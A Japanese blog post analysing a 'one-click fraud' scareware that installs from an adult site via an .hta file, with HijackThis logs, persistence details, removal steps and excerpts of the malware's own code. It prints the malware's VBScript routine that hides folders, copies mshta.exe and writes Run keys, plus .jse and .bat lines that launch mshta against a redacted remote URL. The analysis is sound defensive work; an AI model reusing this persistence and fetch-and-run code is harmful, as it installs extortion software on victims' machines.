ワンクリック・ウェアを観察してみるの巻 その2

JPなんとかというサイト。その筋(?)には有名らしい。トップページには料金がデッカく書いてあったりするけど再生ページではわからない。orz

三段撃ちをかましよりやがりました。orzorz

  • タスク(スケジューラ)へ登録
  • レジストリ Run キーへショートカット (.lnk) の登録
  • スタートアップフォルダへショートカット作成

尚、このページではコマンドでごにょごにょしてますが、普通に HijackThis やらエクスプローラーやレジストリ エディター使う方が楽だと思われます。駆除方法の参考には多分あんまりならないので。あしからず。

環境は 7 Enterprise SP1 x86 の IE9、SmartScreen は無効で。ではでは。。。

ダウンロードされるセットアップ htaファイルをそのまま実行するする(「セキュリティの警告」画面は出るけどUACの警告はなしなんですなぁ。orzorzorz)

  1. IEのポップアップ表示
  2. Windows Media Player 起動してエロ動画再生
  3. デスクトップに請求画面表示

直後の HijackThis のログのあやしい部分

Running processes:
C:\Windows\System32\mshta.exe

O4 - HKCU\..\Run: [SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] C:\Users\eroisaru\UserProfile\SystemBoot.lnk
O4 - HKCU\..\Run: [RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X] C:\Users\eroisaru\SoftRecovery\RegWrite.lnk
O4 - Startup: RegWrite.lnk = C:\Windows\System32\mshta.exe

Listing of startup folders:

Shell folders Startup:
[C:\Users\eroisaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup]
RegWrite.lnk = C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe はWindowsの正規ファイル。

※ XP Proではレジストリ HKLM の Run キーにも登録されました。

ショートカットのプロパティを確認

============================================================
C:\Users\eroisaru\UserProfile\SystemBoot.lnk
============================================================
リンク先 : C:\Users\eroisaru\UserProfile\htmlapp.exe
引数     : http://<省略>/reg2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X
コメント : 
作成日時 : 2012/01/17 0:45
更新日時 : 2012/01/17 0:58
============================================================
C:\Users\eroisaru\SoftRecovery\RegWrite.lnk
============================================================
リンク先 : C:\Windows\System32\mshta.exe
引数     : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X
コメント : 
作成日時 : 2012/01/17 0:45
更新日時 : 2012/01/17 1:04
============================================================
C:\Users\eroisaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RegWrite.lnk
============================================================
リンク先 : C:\Windows\System32\mshta.exe
引数     : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X
コメント : 
作成日時 : 2012/01/17 0:45
更新日時 : 2012/01/17 0:59

今回のヤツは %UserProfile% 直下にディレクトリを作成してコピーしてました。すべて隠し設定。.lnkファイルのアイコンはフォルダアイコン。

reg2.php が請求画面の表示、set_inf2.php はセットアップファイルの模様。

タスク スケジューラを確認。下記があやすーいエントリ。

C:\Windows\system32\mshta.exe
引数 : http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X
00:01:00 ごと無期限

f:id:palm84:20181222230850p:plain

※ 普通は他に Real とか Google とか色々あるかも。

set_inf2.php はセットアップファイルなのでタスクが有効な限り何度でも復元されちゃうわけですね。

タスクの無効化、msconfig で3点チェックオフ後に再起動で請求画面は出なくなりました。

尚、msconfig で Startup(スタートアップフォルダ)のスタートアップ項目の名前が「Windows Internet Explorer」となっててややこしいのでコマンド列で確認すべし。

f:id:palm84:20181222230855p:plain

ディレクトリの確認。(dir /a/tc)

 C:\Users\eroisaru\UserProfile のディレクトリ

2012/01/17  00:45    <DIR>          .
2012/01/17  00:45    <DIR>          ..
2012/01/17  00:45            11,776 htmlapp.exe
2012/01/17  00:45               918 SystemBoot.lnk
               2 個のファイル              12,694 バイト
               2 個のディレクトリ  55,485,534,208 バイトの空き領域

 C:\Users\eroisaru\SoftRecovery のディレクトリ

2012/01/17  00:45    <DIR>          .
2012/01/17  00:45    <DIR>          ..
2012/01/17  00:45               990 RegWrite.lnk
               1 個のファイル                 990 バイト
               2 個のディレクトリ  55,485,530,112 バイトの空き領域
attrib SoftRecovery
    H        C:\Users\eroisaru\SoftRecovery
attrib *.*
A   H        C:\Users\eroisaru\SoftRecovery\RegWrite.lnk

attrib UserProfile
    H        C:\Users\eroisaru\UserProfile
attrib *.*
A   H        C:\Users\eroisaru\UserProfile\htmlapp.exe
A   H        C:\Users\eroisaru\UserProfile\SystemBoot.lnk

f:id:palm84:20181222230900p:plain

htmlapp.exe は mshta.exe のコピー

=========================================================
C:\Users\eroisaru\UserProfile\htmlapp.exe
=========================================================
File Version    :  9.0.8112.16421
Product Version :  9.00.8112.16421
説明            :  
ファイルの説明  :  Microsoft (R) HTML Application host
最終更新日時    :  2011/12/31 16:45
作成日時        :  2012/01/17 0:45
サイズ          :  11.5 KB
=========================================================
C:\Users\eroisaru\UserProfile\htmlapp.exe
md5: 061cbb1058a10c0875d18caff835ae97
C:\Windows\System32\mshta.exe
md5: 061cbb1058a10c0875d18caff835ae97
=========================================================

msconfig でオフにしたレジストリの確認。

set desktop=デスクトップ
ver | find "Version 6" >nul && set desktop=Desktop
set "Backup=%UserProfile%\%desktop%\わんくり_backup"
mkdir "%Backup%" 2>nul

set "BackupReg=%Backup%\MSConfig.reg.txt"
set "RegKey=HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig"
reg export "%RegKey%" "%BackupReg%"
start "" "%BackupReg%"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder\C:^Users^eroisaru^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^RegWrite.lnk]
"path"="C:\\Users\\eroisaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RegWrite.lnk"
"backup"="C:\\Windows\\pss\\RegWrite.lnk.Startup"
"location"="C:\\Users\\eroisaru\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
"backupExtension"=".Startup"
"command"="C:\\Windows\\System32\\mshta.exe http://<省略>/set_inf2.php?cccid=E9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X"
<省略>

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X]
"key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
"item"="RegWriteE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X"
"hkey"="HKCU"
"command"="C:\\Users\\eroisaru\\SoftRecovery\\RegWrite.lnk"
<省略>

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X]
"key"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
"item"="SystemBootE9GDxnu0F0Fwaz7X13rKJkJY9doSuT3X"
"hkey"="HKCU"
"command"="C:\\Users\\eroisaru\\UserProfile\\SystemBoot.lnk"
<省略>

MSConfig キーではスタートアップショートカットのコマンドまで確認できるんですなぁ。あと C:\Windows\pss フォルダにバックアップがコピーされてるので後で削除しませう。

処置は、

  • タスクの削除
  • ディレクトリ2点削除
  • レジストリキー3点削除
  • Startup のバックアップファイル C:\Windows\pss\RegWrite.lnk.Startup 削除

set_inf2.php について、たまたまなのか全部平文で落ちてきたことがありました。その VBScript の Sub ちゃん(一部)を抜粋。

sub rg(dummy)

	Dim HttpHost
	Dim HtaName
	Dim DirectoryName
	Dim ShortcutName
	Dim RecoveryDirName
	Dim RecoveryName

	HttpHost="http://<省略>"

	HtaName = "htmlapp.exe"
	DirectoryName = "UserProfile"
	ShortcutName = "SystemBoot.lnk"
	RecoveryDirName = "SoftRecovery"
	RecoveryName = "RegWrite.lnk"

	Dim WshShell
	Dim FileSystem
	Dim WindowsDirectory

	Set WshShell = CreateObject("WScript.Shell")
	Set FileSystem = CreateObject("Scripting.FileSystemObject")
	WindowsDirectory = WshShell.ExpandEnvironmentStrings("%SystemRoot%")

	Dim ApplicationDirectory
	Dim DocumentDirectory
	Dim RecoveryDirectory
	ApplicationDirectory = WshShell.ExpandEnvironmentStrings("%USERPROFILE%")
	DocumentDirectory = ApplicationDirectory & "\" & DirectoryName 
	RecoveryDirectory = ApplicationDirectory & "\" & RecoveryDirName
	
	
	If FileSystem.FolderExists(ApplicationDirectory) = false Then
		Call FileSystem.CreateFolder(ApplicationDirectory)
	End If
	If FileSystem.FolderExists(DocumentDirectory) = false Then
		Call FileSystem.CreateFolder(DocumentDirectory)
	End If
	If FileSystem.FolderExists(RecoveryDirectory) = false Then
		Call FileSystem.CreateFolder(RecoveryDirectory)
	End If

	Dim OrgHta
	Dim NewHta
	OrgHta = WindowsDirectory  & "\system32\mshta.exe"
	NewHta = DocumentDirectory & "\" & HtaName

	If FileSystem.FileExists(NewHta) = false Then
		Call FileSystem.CopyFile(OrgHta , NewHta , false)
	End If
	
	Dim ShortcutPath
	ShortcutPath = DocumentDirectory & "\" & ShortcutName
	Dim RecoveryPath
	RecoveryPath = RecoveryDirectory & "\" & RecoveryName

	Dim sc
	Set sc = WshShell.CreateShortcut(ShortcutPath)
	With sc
	    .TargetPath = NewHta
	    .Arguments = HttpHost & "/reg2.php?cccid="  & dummy
	    .IconLocation = "shell32.dll,3"
	    .Save
	End With
	Set sc = Nothing

'	Dim sc
	Set sc = WshShell.CreateShortcut(RecoveryPath)
	With sc
	    .TargetPath = OrgHta
	    .Arguments = HttpHost & "/set_inf2.php?cccid="  & dummy
	    .IconLocation = "shell32.dll,3"
	    .Save
	End With
	Set sc = Nothing

	WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemBoot" & dummy , ShortcutPath , "REG_SZ"

	Dim Wmi
	Dim Os
    Set Wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set Os= wmi.ExecQuery ("SELECT * FROM Win32_OperatingSystem")
    For Each value in Os
        If left(value.Version, 3) < 6.0 Then
			WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegWrite" & dummy , RecoveryPath , "REG_SZ"
		else
			WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegWrite" & dummy , RecoveryPath , "REG_SZ"
        End If
    Next

	Dim objFile
	Set objFile = FileSystem.GetFile(ShortcutPath)
	objFile.Attributes = (objFile.Attributes Or 2)
	Set objFile = FileSystem.GetFile(RecoveryPath)
	objFile.Attributes = (objFile.Attributes Or 2)
	Set objFile = FileSystem.GetFile(NewHta)
	objFile.Attributes = (objFile.Attributes Or 2)
	Set objFile = FileSystem.GetFolder(ApplicationDirectory)
	objFile.Attributes = (objFile.Attributes Or 2)
	Set objFile = FileSystem.GetFolder(DocumentDirectory)
	objFile.Attributes = (objFile.Attributes Or 2)
	Set objFile = FileSystem.GetFolder(RecoveryDirectory)
	objFile.Attributes = (objFile.Attributes Or 2)

	window.Close()

end sub

内容は私でもわかる(笑)レベルですた。XP以下では HKLM のRunキーに書き込みとかしよるんですなぁ。

【追記】JScript とかな場合も

.lnk 以外に JScript ファイルが作られる場合もありました。

O4 - HKCU\..\Run: [RegWritecFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk] C:\Users\eroisaru\SoftRecovery\datcFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk.jse
var objWShell = new ActiveXObject("WScript.Shell")
objWShell.Run("C:\\Windows\\System32\\mshta.exe []http://<省略>/set_inf2.php?cccid=cFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk[]", 1, false)
objWShell = null

拡張子は .jse ですが中身は平文。内容は .lnk ファイルとほぼ同じなんでjseにする意味はあるのかなと思ったり。 .cmd.bat の場合もある模様。

O4 - HKCU\..\Run: [RegWritecFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk] C:\Users\eroisaru\SoftRecovery\datcFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk.bat
@ECHO OFF
START /B mshta.exe http://<省略>/set_inf2.php?cccid=cFYYx00VhFPAk8e9eEyMrDVGfeKRZEYk